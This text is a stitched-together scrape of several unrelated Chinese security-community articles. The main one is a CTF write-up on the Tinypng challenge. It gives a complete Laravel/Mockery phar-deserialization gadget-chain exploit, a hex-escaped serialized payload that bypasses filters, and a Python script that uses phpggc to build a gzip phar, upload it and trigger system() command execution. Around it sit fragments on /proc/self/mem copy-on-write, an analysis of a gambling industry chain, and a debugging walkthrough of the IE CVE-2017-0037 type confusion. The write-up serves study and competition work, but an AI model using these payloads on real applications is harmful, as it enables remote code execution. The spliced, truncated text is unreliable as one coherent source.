* 如果/proc/self/mem文件的权限为rw_, 那么通过读写这个文件会强制修改一个一个进程的内存区域,(FORCE标志), 即使这片内存区域只读. 又要有写入的效果, 又不能真的写入原来的只读页, 因此需要先复制原来的只读页, 然后由内核进行写入.
* 有别于可写入内存的缺页异常, 只读内存区的页进行COW之后得到的仍然是只读页. 如果设置了FOLL_WRITE标志, 那么follow_page_mask()要求对应PTE可写入. 但COW得到的是只读页, 为了避免死循环, 所以在COW之后需要去掉FOLL_WRITE的标志, 表示不用检查可写入权限了
* 只读页是如何进行写入的? 只读只是相对于用户地址来说的, 如果使用用户地址进行写入, 那么MMU在页表中找到的PTE是只读的, 这个没问题. 同时这个物理页也被映射到内核地址空间中, 如果使用内核地址进行写入, 那么MMU在页表中找到的PTE则是可读可写的. | 社区文章 |
# 从一道题再看phar的利用
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
虎符线下有一道考察`phar`反序列化的题，当时好像只有L3H的师傅出了，比赛结束后又听其他大师傅们说了新的一些我不知道的知识，趁着机会来复现一下，顺便深挖一下代码来看一下其他的特性或者是利用点。
## Tinypng 解题思路
### 入口点
这个题实现的功能主要是文件上传，这里对文件名的格式规范进行了很严谨的限制，并且会在文件名后加上`.png`，初步判断应该不是考察的webshell上传，同时在入口控制器类还设置了对`phar`文件格式内容的过滤，因此这个题大概率考察对`phar`反序列化的利用，因为`phar`也能够伪造成`png`文件，从而绕过对文件名的约束：
这里先看一下对应业务的路由:
Route::get('/', function () {
return view('upload');
});
Route::post('/', [IndexController::class, 'fileUpload'])->name('file.upload.post');
//Don't expose the /image to others!
Route::get('/image', [ImageController::class, 'handle'])->name('image.handle');
两个路由，第一个路由对应的就是`index`,这里我们知道是对文件上传进行处理，继续看`/image`路由:
class ImageController extends Controller
{
public function handle(Request $request)
{
$source = $request->input('image');
if(empty($source)){
return view('image');
}
$temp = explode(".", $source);
$extension = end($temp);
if ($extension !== 'png') {
$error = 'Don\'t do that, pvlease';
return back()
->withErrors($error);
} else {
$image_name = md5(time()) . '.png';
$dst_img = '/var/www/html/' . $image_name;
$percent = 1;
(new imgcompress($source, $percent))->compressImg($dst_img);
return back()->with('image_name', $image_name);
}
}
}
这里新建了一个图片压缩类然后对图片进行压缩处理，跟进`compressImg`方法:
先调用`_openImage()`打开图片后在调用`_saveImage`对文件进行压缩处理，看下`_openImage()`方法:
public function __construct($src, $percent = 1)
{
$this->src = $src;
$this->percent = $percent;
}
private function _openImage()
{
list($width, $height, $type, $attr) = getimagesize($this->src);
$this->imageinfo = array(
'width' => $width,
'height' => $height,
'type' => image_type_to_extension($type, false),
'attr' => $attr
);
$fun = "imagecreatefrom" . $this->imageinfo['type'];
$this->image = $fun($this->src);
$this->_thumpImage();
}
这里`getimagesize`是能够进行phar反序列化的,如果`$this->src`可控，那么phar反序列化的入口就找到了，这里是否可控呢?这里`$this->src`是通过构造方法赋值，因此就是前面新初始化的imgcompress实例的`$source`，而这个`$source`就是传参的值，因此这里能够进行可以反序列化
### 构造Gadget Chains
结合配置文件知道Laravel的版本后其实就可以去网上搜`Gadget
Chains`了，在这里对其中一个链子进行详细的分析，这个链子实际上还是Laravel框架中 **mockery组件** 的漏洞
入口是在`PendingBroadcast.php`中的析构函数:
public function __construct(Dispatcher $events, $event)
{
$this->event = $event;
$this->events = $events;
}
public function __destruct()
{
$this->events->dispatch($this->event);
}
这里我们可以调用任意类的`dispatch`方法，并且该方法的参数也是可控的，这里选择`dispatcher.php`中的dispatch方法，跟进一下:
public function dispatch($command)
{
return $this->queueResolver && $this->commandShouldBeQueued($command)
? $this->dispatchToQueue($command)
: $this->dispatchNow($command);
}
这里我们需要的是`$this->dispatchToQueue`这个方法，我们先跟进这个方法:
可以看到，在这里调用了`call_user_func`，如果`$this->queueResolver`和`$connection`都是可控的，那么在这里我们可以调用任意的静态类方法，就有可能实现命令执行
该类的构造方法告诉我们,第一个参数是可控的，在看第二个参数`$command`之前，如果我们要执行`$this->dispatchToQueue`方法，就需要前两个表达式均成立，第一个表达式可以成立，而第二个`$this->commandShouldBeQueued($command)`跟进一下:
需要`$command`实现ShouldQueue接口,因此我们构造的`$command`还必须是实现该接口的某个类,在这里使用的是`BroadcastEvent.php`:
只要实现该接口的类应该都是可以利用的，这样过了前两个表达式后就可以成功进入`$this->dispatchToQueue($command)`方法:
全局搜索一下eval方法；发现存在:
class EvalLoader implements Loader
{
public function load(MockDefinition $definition)
{
if (class_exists($definition->getClassName(), false)) {
return;
}
eval("?>" . $definition->getCode());
}
}
该EvalLoader类的load方法存在`eval()`
call_user_func函数在第一个参数为数组的时候，第一个参数就是我们选择的类，第二个参数是类下的方法；所以这里直接去到EvalLoader类，去执行load方法从而调用到eval函数；这里发现存在参数，而且参数必须是MockDefinition类的实例,也即是意味着我们connection需要为MockDefinition类的实例,并且要执行`eval`,必须使得`if`返回`false`
接追溯到MockDefinition类:
public function __construct(MockConfiguration $config, $code)
{
if (!$config->getName()) {
throw new \InvalidArgumentException("MockConfiguration must contain a name");
}
$this->config = $config;
$this->code = $code;
}
public function getClassName()
{
return $this->config->getName();
}
public function getCode()
{
return $this->code;
}
全局搜索`getName()`方法，并且实现`MockConfiguration`接口,找到了`MockConfiguration.php`中:
public function getName()
{
return $this->name; //$this->name是可控的
}
因此当我们使得`$this->config`为该类时，那么调用getName能够返回任意值，从而使得该任意值组成的类不存在而调用eval,而`$this->code`就是拼接在`eval`中的命令
贴下完成的exp:
<?php
namespace Illuminate\Broadcasting{
use Illuminate\Contracts\Events\Dispatcher;
class PendingBroadcast
{
protected $event;
//__destruct析构方法是调用$this->events类的dispatch方法，这里是调用Dispatcher类的dispatch方法
protected $events;
public function __construct($events, $event)
{
//event是dispatch方法的参数,也就是$command,而$command需要实现ShouldQueue接口,因此这里$event是选择BroadcastEvent类
$this->event = $event;
$this->events = $events;
}
}
}
namespace Illuminate\Broadcasting{
class BroadcastEvent{
//这里$connection作为call_user_func的第二个参数，也就是静态类EvalLoader中load()方法的参数，也就是$definition
public $connection;
public function __construct($connection)
{
$this->connection = $connection;
}
}
}
namespace Illuminate\Bus{
class Dispatcher
{
public function __construct($queueResolver)
{
//queueResolver是后续call_user_func_array()的第一个参数，这里我们需要调用静态类方法执行eval
$this->queueResolver = $queueResolver;
}
//$command需要实现ShouldQueue接口时commandShouldBeQueued方法才会返回真，这里使用BroadcastEvent类
public function dispatch($command)
{
//需要使三目运算符的判断式为真，才能调用dispatchToQueue方法进而调用call_user_func_array
return $this->queueResolver && $this->commandShouldBeQueued($command)
? $this->dispatchToQueue($command)
: $this->dispatchNow($command);
}
}
}
namespace Mockery\Loader{
use Mockery\Generator\MockDefinition;
class EvalLoader
{
//这里$definition需要实现MockDefinition接口，因此选取的是MockDefinition类
public function load(MockDefinition $definition){}
}
}
namespace Mockery\Generator{
class MockDefinition
{
protected $config;
protected $code;
//这里$this->config设置为MockConfiguration类，其getname方法和参数可控能够得到任意字符作为getClassName()的返回值
public function __construct($config, $code)
{
$this->config = $config;
//$this->code 作为EvalLoader类中load方法中eval()的拼接参数，也就是我们需要实现命令执行的地方
$this->code = $code;
}
}
}
namespace Mockery\Generator{
class MockConfiguration{
protected $name;
public function __construct($name)
{
$this->name = $name;
}
}
}
namespace{
//先使得$this->name返回crispr,这样调用class_exists()时没有crispr类肯定会返回false
$mockconfiguration = new Mockery\Generator\MockConfiguration("crispr");
//使得$this->config为MockConfiguration类后调用getname方法,后面为eval的拼接参数，这里写个一句话
$mockdefinition = new \Mockery\Generator\MockDefinition($mockconfiguration,'<?php echo system("cat /flag");?>');
$evalloader = new \Mockery\Loader\EvalLoader();
//MockDefinition类实现了MockDefinition接口作为load方法的参数
$broadcastevent = new Illuminate\Broadcasting\BroadcastEvent($mockdefinition);
//该dispatcher调用EvalLoader的load方法
$dispatcher = new Illuminate\Bus\Dispatcher(array($evalloader,"load"));
//第一个参数为调用Dispatcher类的dispact方法,第二个参数是实现ShouldQueue的$command
$exp = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$broadcastevent);
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub，增加gif文件头
$phar->setMetadata($exp); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
}
不过即使是添加`gif`头，还是会有`<?php __HALT_COMPILER();
?>`存在，并且必须以`__HALT_COMPILER();?>`来结尾，否则phar扩展将无法识别这个文件为phar文件
这里先介绍 **两种姿势** :
**姿势1**
将phar文件进行gzip压缩后在修改为png文件后缀，当进行完gzip压缩后就没有这些字符了，从而就能够进行绕过，至于为什么将phar文件gzip压缩后还能反序列化成功，这里
**在后文会进行分析**
**姿势2**
我们可以将phar的内容写进压缩包注释中，也同样能够反序列化成功，压缩为zip也会绕过该正则
$phar_file = serialize($exp);
echo $phar_file;
$zip = new ZipArchive();
$res = $zip->open('1.zip',ZipArchive::CREATE);
$zip->addFromString('crispr.txt', 'file content goes here');
$zip->setArchiveComment($phar_file);
$zip->close();
这里用姿势1得到phar包再gzip压缩后将其改名为png上传后，在通过`/image`路由来触发`phar`反序列化:
这里在利用姿势2进行演示，不过在这里写入zip注释的时候,由于这里拼接时是这用进行拼接的
eval("?>".$str);
因此想要利用肯定会出现被ban的字符`<?php`,这里能够通过将序列化数据小写的s转换成大写S后，将之后的关键词通过16进制进行填充从而绕过,这个考点在绕过%00时也曾出现过:
//bypass %00
function process_serialized($serialized) {
$new = '';
$last = 0;
$current = 0;
$pattern = '#\bs:([0-9]+):"#';
while(
$current < strlen($serialized) &&
preg_match(
$pattern, $serialized, $matches, PREG_OFFSET_CAPTURE, $current
)
)
{
$p_start = $matches[0][1];
$p_start_string = $p_start + strlen($matches[0][0]);
$length = $matches[1][0];
$p_end_string = $p_start_string + $length;
# Check if this really is a serialized string
if(!(
strlen($serialized) > $p_end_string + 2 &&
substr($serialized, $p_end_string, 2) == '";'
))
{
$current = $p_start_string;
continue;
}
$string = substr($serialized, $p_start_string, $length);
# Convert every special character to its S representation
$clean_string = '';
for($i=0; $i < strlen($string); $i++)
{
$letter = $string{$i};
$clean_string .= ctype_print($letter) && $letter != '\\' ?
$letter :
sprintf("\\%02x", ord($letter));
;
}
# Make the replacement
$new .=
substr($serialized, $last, $p_start - $last) .
'S:' . $matches[1][0] . ':"' . $clean_string . '";'
;
$last = $p_end_string + 2;
$current = $last;
}
$new .= substr($serialized, $last);
return $new;
}
这里我将链子序列化得到的数据转化大写后在使用16进制绕过`<?php`的限制:
$phar_file = 'O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{S:6:"events";O:25:"Illuminate\Bus\Dispatcher":1:{S:13:"queueResolver";a:2:{i:0;O:25:"Mockery\Loader\EvalLoader":0:{}i:1;S:4:"load";}}S:5:"event";O:38:"Illuminate\Broadcasting\BroadcastEvent":1:{S:10:"connection";O:32:"Mockery\Generator\MockDefinition":2:{S:6:"config";O:35:"Mockery\Generator\MockConfiguration":1:{S:4:"name";S:6:"crispr";}S:4:"code";S:31:"\3c\3f\70\68\70 echo system("cat /flag");";}}}';
$zip = new ZipArchive();
$res = $zip->open('1.zip',ZipArchive::CREATE);
$zip->addFromString('crispr.txt', 'file content goes here');
$zip->setArchiveComment($phar_file);
$zip->close();
将zip改为png后缀进行上传，之后在触发phar反序列化从而实现RCE
### 利用工具phpggc
由于是`Laravel`主流框架，这里也可以直接使用`phpggc`来利用Laravel的链子直接生成phar包之后在通过`gzip`压缩,经过测试发现`phpggc`对Laravel的RCE5和RCE6两条链子都能成功，其中RCE5的链子就是上述所说，RCE6的链子稍微简便一点，这里感兴趣的大佬们可以自己再去分析下
贴一下调用phpggc使用 **Laralvel/RCE6** 写的exp:
# -*- coding=utf-8 -*- # Author:Crispr
# 注意放在phpggc根目录运行
import os
import requests
import sys
import re
url = "http://b6a64602-069f-454e-a440-bfa1cfa72d57.node3.buuoj.cn/"
session = requests.session()
def create_gzfile():
cmd = r"""php -d'readonly=0' ./phpggc Laravel/RCE6 "system('whoami');" --phar phar > crispr.phar"""
os.system(cmd)
cmd = r"gzip crispr.phar"
os.system(cmd)
cmd = r"mv crispr.phar.gz crispr.phar.png"
os.system(cmd)
def get_upload_png_path():
files = {"file" : ("crispr.phar.png" , open("./crispr.phar.png","rb+"),"image/png")}
r = session.post(url,files=files)
if r.status_code == 200:
text = r.text
#print(text)
path = re.findall('path: (.*?)\.png',text)[0]
#print(path)
return path
else:
print("upload false")
return False
def deserialize(path):
url1 = url + "image?image=phar://../storage/app/" + path + ".png"
print(url1)
r = session.get(url1)
print(r.text)
if __name__ == "__main__":
create_gzfile()
path = get_upload_png_path()
print(path)
deserialize(path)
os.unlink("crispr.phar.png")
## 从源码来看phar的利用
前文说到，将`phar`包压缩成gzip仍然能够触发反序列化，并且将phar写入到zip注释中也同样能达到如上的效果,其实并不只有这些，将Phar压缩成`tar、gzip、bzip2`后均能够触发反序列化，下面将从zend角度来试分析一下其原因。
先来看下phar是为何能够进行反序列化的呢?
在`phar.c`中:
在对metadata进行解析的时候会进行`php_var_unserialize()`将Phar中的metadata进行反序列化，这里也不做多讨论，那为何使用`file_get_contents`等同样能够触发反序列化呢?这里zsx大师傅在`Phar与Stream
Wrapper造成PHP RCE的深入挖掘`已经进行原因的深入分析，这里也一起分析一下:
需要从stream流说起,PHP中每一种流都实现了一个包装器(wrapper)，包装器包含一些额外的代码用来处理特殊的协议和编码。PHP提供了一些内置的包装器，我们也可以很轻松的创建和注册自定义的包装器。我们甚至可以使用上下文(contexts)和过滤器来改变和增强包装器。
以`file_get_contents`为例
在`/etc/standard/file.c`中我们来看一下对流的处理:
stream = php_stream_open_wrapper_ex(filename, "rb",
(use_include_path ? USE_PATH : 0) | REPORT_ERRORS,
NULL, context);
if (!stream) {
RETURN_FALSE;
}
通过调试的方式来跟踪调用情况
file_get_contents实际上调用了`php_stream_open_wrapper_ex`函数，进一步跟进该函数发现调用`php_stream_locate_url_wrapper`函数来通过传递的url来得到包装器的类型
查看phar注册的wrapper可以发现如下定义:
这里大部分函数的实现都会调用`phar_parse_url`参数
这个函数再调用`phar_open_or_create_filename -> phar_create_or_parse_filename ->
phar_open_from_fp -> phar_parse_pharfile -> phar_parse_metadata ->
phar_var_unserialize`最终实现了phar文件中metadata的反序列化操作:
在`phar_open_from_fp`中也可以看到，如果想将其作为phar文件识别，则必须包含该token,也就是`__HALT_COMPILER();
?>`才会调用`phar_parse_pharfile`来进行解析
可以发现整个解析phar的顶层函数其实是来自`php_stream_open_wrapper`,因此当PHP函数中底层调用了`php_stream_open_wrapper`,都能够被phar的组件用来进行解析Phar文件(文件内容需要包含__HALT_COMPILER();
?>)
因此当全局搜索`php_stream_open_wrapper`被用来实现底层的PHP函数时也就不难发现还存在除对文件处理的函数之外其余的可以用来利用的函数,而`getimagesize`就是其中之一:
在`php_getimagesize_from_any`调用了`php_stream_open_wrapper`,支持phar组件也能够识别Phar文件格式进而实现phar反序列化,而PHP函数`getimagesize`则直接调用前者
为何将phar文件进行压缩成`phar.gz`后还能触发反序列化操作?
我们知道当注册了phar组件后构造 **phar://phar.phar**
的url能够通过`php_stream_locate_url_wrapper`来查询得到对应的组件
得到phar组件后随后会进入到`phar_wrapper_open_url`中，在其中就会调用`phar_parse_url`来对其形式进行解析
我们跟进`phar_parse_url`来查看其对url的解析处理:
该函数应该是对`filename`进行了切割然后将`$this->schema初始化为phar`，将`$this->host初始化为arch`,这里的arch在`phar_split_fname`进行了说明
继续跟进`phar_split_fname`函数:
**注意官方给的注释**
/**
* Process a phar stream name, ensuring we can handle any of:
*
* - whatever.phar
* - whatever.phar.gz
* - whatever.phar.bz2
* - whatever.phar.php
*
* Optionally the name might start with 'phar://'
*
* This is used by phar_parse_url()
*/
int phar_split_fname(const char *filename, size_t filename_len, char **arch, size_t *arch_len, char **entry, size_t *entry_len, int executable, int for_create) /* {{{ */
{
const char *ext_str;
#ifdef PHP_WIN32
char *save;
#endif
size_t ext_len;
if (CHECK_NULL_PATH(filename, filename_len)) {
return FAILURE;
}
if (!strncasecmp(filename, "phar://", 7)) {
filename += 7;
filename_len -= 7;
}
ext_len = 0;
#ifdef PHP_WIN32
save = (char *)filename;
if (memchr(filename, '\\', filename_len)) {
filename = estrndup(filename, filename_len);
phar_unixify_path_separators((char *)filename, filename_len);
}
#endif
if (phar_detect_phar_fname_ext(filename, filename_len, &ext_str, &ext_len, executable, for_create, 0) == FAILURE) {
if (ext_len != -1) {
if (!ext_str) {
/* no / detected, restore arch for error message */
#ifdef PHP_WIN32
*arch = save;
#else
*arch = (char*)filename;
#endif
}
在这里对应的arch就是其文件名称，这里我们不是去对phar文件进行写入，而是对已有的文件名进行解析,因此会调用`phar_open_from_filename`函数,继续跟进该函数,注意这里前两个参数就是对应filename的值和长度
int phar_open_from_filename(char *fname, size_t fname_len, char *alias, size_t alias_len, uint32_t options, phar_archive_data** pphar, char **error) /* {{{ */
{
php_stream *fp;
zend_string *actual;
int ret, is_data = 0;
if (error) {
*error = NULL;
}
if (!strstr(fname, ".phar")) {
is_data = 1;
}
if (phar_open_parsed_phar(fname, fname_len, alias, alias_len, is_data, options, pphar, error) == SUCCESS) {
return SUCCESS;
} else if (error && *error) {
return FAILURE;
}
if (php_check_open_basedir(fname)) {
return FAILURE;
}
fp = php_stream_open_wrapper(fname, "rb", IGNORE_URL|STREAM_MUST_SEEK, &actual);
if (!fp) {
if (options & REPORT_ERRORS) {
if (error) {
spprintf(error, 0, "unable to open phar for reading \"%s\"", fname);
}
}
if (actual) {
zend_string_release_ex(actual, 0);
}
return FAILURE;
}
if (actual) {
fname = ZSTR_VAL(actual);
fname_len = ZSTR_LEN(actual);
}
ret = phar_open_from_fp(fp, fname, fname_len, alias, alias_len, options, pphar, is_data, error);
if (actual) {
zend_string_release_ex(actual, 0);
}
return ret;
}
如果`filename`出现`.phar`则`$is_data=0`，否则`$is_data=1`随后进入`phar_open_parsed_phar`中,当存在.phar时则会:
if (!is_data) {
/* prevent any ".phar" without a stub getting through */
if (!phar->halt_offset && !phar->is_brandnew && (phar->is_tar || phar->is_zip)) {
if (PHAR_G(readonly) && NULL == (stub = zend_hash_str_find_ptr(&(phar->manifest), ".phar/stub.php", sizeof(".phar/stub.php")-1))) {
if (error) {
spprintf(error, 0, "'%s' is not a phar archive. Use PharData::__construct() for a standard zip or tar archive", fname);
}
return FAILURE;
}
}
}
这里对phar文件进行了一个判断，大致是判断其是不是一个标准的phar文件,如果不是则会报错返回false,不过这里并没有对phar有任何实质性的处理,继续向下:
通过`php_stream_open_wrapper`得到该文件的stream,此处可以理解为是句柄,得到phar文件的句柄后调用`phar_open_from_fp`,跟进该函数:
存在三种压缩形式的幻数,这里肯定会对其进行处理,继续向下看，分别列出对应几种压缩形式幻数的处理:
**对zip的处理**
判断是否是zip格式后如果是则直接调用phar_parse_zipfile对zipphar进行处理,这里我们可以稍后再说，先往后两个看
if (!memcmp(pos, zip_magic, 4)) {
php_stream_seek(fp, 0, SEEK_END);
return phar_parse_zipfile(fp, fname, fname_len, alias, alias_len, pphar, error);
}
**对gzip的处理**
判断是否存在该gzip幻数后可以看到通过`php_stream_filter_create`来创建了一个`zlib.inflate`的解压的过滤器进行解压
**对bzip的处理**
同上述一样判断完成后也是建立了一个`bzip2.decompress`的过滤器对fp进行解压缩处理
上述对bzip2和gzip的处理都是通过中间值temp先对fp进行相应的解压处理后写入temp中最后在通过`fp =
temp`来实现对fp的重新覆盖，也就是说这里会对这两种文件先进行解压处理
注意底层额外实现了直接对zipphar和tarphar的处理,因此即使是phar压缩成zip和tar,也同样可以进行相应的处理，马上在后文进行分析
最后调用:
if (got > 0 && (pos = phar_strnstr(buffer, got + sizeof(token), token, sizeof(token)-1)) != NULL) {
halt_offset += (pos - buffer); /* no -tokenlen+tokenlen here */
return phar_parse_pharfile(fp, fname, fname_len, alias, alias_len, halt_offset, pphar, compression, error);
}
当调用`phar_parse_pharfile`后，之后的也就和前文最开始利用是一致的了，利用`php_var_serialize`对phar中的metadata进行反序列化操作
**zip的处理**
在`tinypng`那题的处理中第二种姿势是将序列化的内容写入了zip注释中,同样能够触发phar反序列化,其原因就在`phar_parse_zipphar`中，函数内容太多，这里挑取重点:
注意这里应该是申请了一块持久内存给mydata,zip注释内容写到了mydata中,因此我们将序列化数据写入zip注释后也通过可以触发phar反序列化,不过由于zip注释无法写入`%00`,如果有`protected`或者`private`需要将序列化数据s改成S,然后后面通过16进制写入进行绕过,不过该PHP版本为7.2,可以直接改为public即可
**tar的处理**
前文说道,底层实现了对tarphar的处理，所有的处理都在`phar_parse_tarfile`中,这里也挑去重点进行分析:
可以看到函数`phar_tar_process_metadata`进行了metadata的处理,因此我们查看其引用:
跟进看下:
newentry = zend_hash_str_update_mem(&myphar->manifest, entry.filename, entry.filename_len, (void*)&entry, sizeof(phar_entry_info));
if (entry.filename_len >= sizeof(".phar/.metadata")-1 && !memcmp(entry.filename, ".phar/.metadata", sizeof(".phar/.metadata")-1)) {
if (FAILURE == phar_tar_process_metadata(newentry, fp)) {
if (error) {
spprintf(error, 4096, "phar error: tar-based phar \"%s\" has invalid metadata in magic file \"%s\"", fname, entry.filename);
}
php_stream_close(fp);
phar_destroy_phar_data(myphar);
return FAILURE;
}
}
这里检查了tar压缩包中的文件名是否为`.phar/.metadata`,如果是则将`newentry`和`fp`分别作为`phar_tar_process_metadata`的两个参数,而`newentry->metadata`的值会进行反序列化处理
因此我们需要
...
...
$exp = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$broadcastevent);
file_put_contents(".phar/.metadata",serialize($exp));
然后将该文件夹压缩成tar包同样也能触发phar反序列化:
* * *
参考文章:
<https://guokeya.github.io/post/uxwHLckwx/>
<https://blog.zsxsoft.com/post/38> | 社区文章 |
# 你想不到的伪装手法！原来网络赌博的入口可能就隐藏在身边
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
近期，通过对博彩应用的监测分析发现一个现象，与以往常见的博彩应用不同的是，无注册入口，需要通过搜索指定关键词，根据搜索结果页跳转的博彩导航平台入口才能进行注册。
注册导航页的标题名称多出了“xx联盟”，跳转的博彩注册链为带返点值的代理链。结合博彩平台客服描述的平台无注册入口原因“为保证代理权益，给予代理更好的发展空间，平台客服严禁参与任何开户，所以客服无法提供注册链接。请您xx搜索平台关键词进行注册“，由此推测，
**这些博彩平台背后可能存在一个集博彩平台开发、支付通道、游戏接口、挂机应用、跑分平台、担保中心、色情推广于一身的博彩联盟产业。**
通过对目标样本APP的分析发现了其web页面，但页面对访客IP进行了限制。相较于其他知名博彩平台，该平台页面除了彩票、真人、棋牌、电竞等博彩板块外，还多了奖源认证（钻石级会员）和托管跑分。
点击页面中的奖源认证（钻石级会员），会跳转至多彩联盟的会员认证入口。
点击页面中的托管跑分，跳转至跑分平台入口，包含以下三种跑分方案，但页面仅为引流页，除客服联系方式外，未发现管理后台、跑分应用信息。
通过对引流页的相关分析，发现其除通过博彩平台引流外，还在色情网站进行引流，且通过担保平台进行承保，期间如双方发生资金纠纷，担保平台对跑分客进行赔付。
## 博彩联盟产业链分析
通过梳理得出，该产业主要包含赌博平台、博彩联盟平台、色情网站、赌客/跑分客几个部分。
**1、博彩联盟为博彩平台提供技术、支付通道，是整个产业的核心。**
博彩联盟为博彩平台提供平台开发、支付通道、游戏接口等博彩平台所需的运营、运维服务；同时通过博彩网站、色情网站推广旗下跑分平台，增强自身的支付通道及洗钱能力；
**2、博彩联盟、博彩平台、推广平台相关间通过押金方式进行约束。**
①赌博平台向多彩联盟缴费成为其会员后，多彩联盟为赌博平台与赌客之间提供纠纷处理服务；
②博彩联盟/跑分平台向色情网站缴纳押金，依托色情网站推广跑分平台；同时色情网站为跑分平台承担纠纷处理服务。通过色情网站引流入口注册成为的跑分客，当其跑分后无法提现时，由色情网站进行纠纷处理赔付。
**3、博彩平台不直接展示注册入口，通过博彩联盟的推广页拉新，实现双方佣金结算。**
**4、博彩平台针对指定搜索引擎做seo优化，埋藏博彩注册链关键词。**
相较于传统分散式、小作坊式的博彩平台、杀猪盘（博彩），目前博彩平台的上游供应链，提供了完整的产业支撑，包括平台开发、引流、运营、支付通道等，下游的博彩平台、诈骗窝点门槛持续降低，但攻防能力却日益提升，从上文中提到的博彩注册入口、跑分应用、免签支付、代理应用可以看出其已具有很强的攻防能力，一旦上游产业进行迭代，博彩、电信网络诈骗将集体升级。当上游升级的攻击的方式超出安全研究认知范围，整个反制体系就会失效，且鉴于目前反诈行业“各自为战”的现状，反制手段在短时间内很难有效的突围。
此种情况在增压的同时，也会带来的一定的优势，即突破一个，全产业突破，故需要从多个角度对自身的攻防技术进行持续迭代，包括但不限于终端侧、应用侧、云服务侧，账号侧等，同时加强对黑产研判力度的深入，防止因认知原因，遗漏涉诈线索。 | 社区文章 |
作者：[k0shl](http://whereisk0shl.top) 转载请注明出处
作者博客：http://whereisk0shl.top
### 前言
前段时间Google Project
Zero(PJ0)曝光了一个关于IE11和Edge的一个类型混淆造成代码执行的漏洞，微软至今未推出关于这个漏洞的补丁，我对这个漏洞进行了分析，并且通过PoC构造了半个Exploit，为什么是半个呢，首先这个漏洞攻击面比较窄，只能控制Array里+0x4位置的值，通过类型混淆会认为这个值是一个指针，随后会调用指针某偏移处的虚函数，当我们能够控制这个指针的值的时候，虚函数也能够得到控制。这样就能劫持程序流，达到代码执行的效果。但这其中涉及到一个ASLR的问题，由于地址随机化，导致我们就算控制跳转之后，无法通过info
leak来构造ROP，也就是DEP也无法绕过。
这里我也有考虑到袁哥的DVE，但由于我们并没有RW
primitives，因此我们控制关键指针的条件太有限，导致想通过GodMod来执行脚本的方法似乎也不太可行（或者我没有发现？求大牛指教！）。
因此这里，我写了一个在关闭DEP时可以使用的exploit，并且和大家一起分享从PoC到Exp的整个过程，不得不说过程还是很麻烦的，因为想寻找这个Array+0x4位置的控制值如何能够DWORD
SHOOT，我跟了Layout::TableBoxBuilder类下的很多函数。
PJ0 CVE-2017-0037 PoC地址：
https://bugs.chromium.org/p/project-zero/issues/detail?id=1011
目前来看，微软并没有更新这个exp的补丁，但是有人利用0patch修补了这个漏洞，其实我看起来感觉不太像从根本上解决了这个漏洞的问题：
https://0patch.blogspot.jp/2017/03/0patching-another-0-day-internet.html
尽管这个Type Confusion攻击面有限，但是Type
Confusion这种漏洞是非常常见的，它的原理一般情况下是由于函数处理时，没有对对象类型进行严格检查，导致可以通过某些手段来造成类型混淆，通过对其他可控类型的控制可以达到代码执行的效果，甚至任意内存读写，比如Memory
Corruption。
好啦，不多说了！下面我们来进入今天的分析，首先我们漏洞分析的环境：
Windows7 x64 sp1 build 7601
IE 11.0.9600.17843
* * *
### 漏洞分析
首先漏洞的关键出现在boom()中，在PoC中定义了一个table表，其中在标签中定义了表id为th1，在boom()函数中引用到，随后通过setInterval设定事件。
运行PoC，可以捕获到漏洞崩溃，附加Windbg。
0:003:x86> r
eax=00000038 ebx=0947ffb0 ecx=0947ffb0 edx=00000002 esi=00000064 edi=6e65c680
eip=6e20fc87 esp=086abdc0 ebp=086abdec iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x2c3d36:
6e20fc87 833800 cmp dword ptr [eax],0 ds:002b:00000038=????????
可以看到，这里eax作为指针，引用了一处无效地址，从而引发了崩溃，直接回溯崩溃位置的上下文，可以看到，在cmp汇编指令之前，调用了一处函数
`Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem>
>::Readable`。
而eax寄存器正是Readable函数的返回值。我们在这个函数call调用位置下断点，重新执行windbg。
0:007:x86> r
eax=0a020590 ebx=007e79f0 ecx=007e79f0 edx=007e79f0 esi=00000064 edi=69ad8080
eip=6968fc82 esp=0900b878 ebp=0900b8a4 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x2c3d31:
6968fc82 e86df072ff call MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem> >::Readable (68dbecf4)
可以看到，ecx寄存器作为第一个参数，看一下这个参数存放的对象。
0:007:x86> dps ecx
007e79f0 68d82230 MSHTML!Layout::FlowItem::`vftable'
007e79f4 00000000 //这个值将会在Readable函数中引用
007e79f8 00000009
007e79fc 007ec8d4
007e7a00 0a020660
007e7a04 00000064
007e7a08 00000064
007e7a0c 007e79f0
007e7a10 007e79f0
007e7a14 68d82230 MSHTML!Layout::FlowItem::`vftable'
007e7a18 00000000
007e7a1c 00000009
007e7a20 007ec8d4
007e7a24 0a01fc60
007e7a28 00000000
007e7a2c 00000000
007e7a30 007e7a14
007e7a34 007e7a14
这个参数存放的对象是一个Layout::FlowItem::`vftable虚表，随后通过IDA来分析一下这个函数的功能。
int __thiscall Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem>>::Readable(int this)
{
int v1; // eax@2
int result; // eax@4
if ( *(_BYTE *)(*(_DWORD *)(__readfsdword(44) + 4 * _tls_index) + 36) )
// get tls array
{
result = this + 16;
}
else
{
v1 = *(_DWORD *)(this + 4);
if ( !v1 ) // 这个位置会检查this＋0x4位置的值，如果为0，则进入处理
v1 = this;//获取vftable pointer
result = v1 + 16;
}
return result;
}
这里，读取虚表+0x4位置的值为0，因此会执行if(!v4)中的逻辑，会将this指针交给v1，随后v1+0x10后返回，因此，Layout::FlowItem::`vftable所属指针的这个情况是正常的情况，函数会正常返回进入后续处理逻辑。
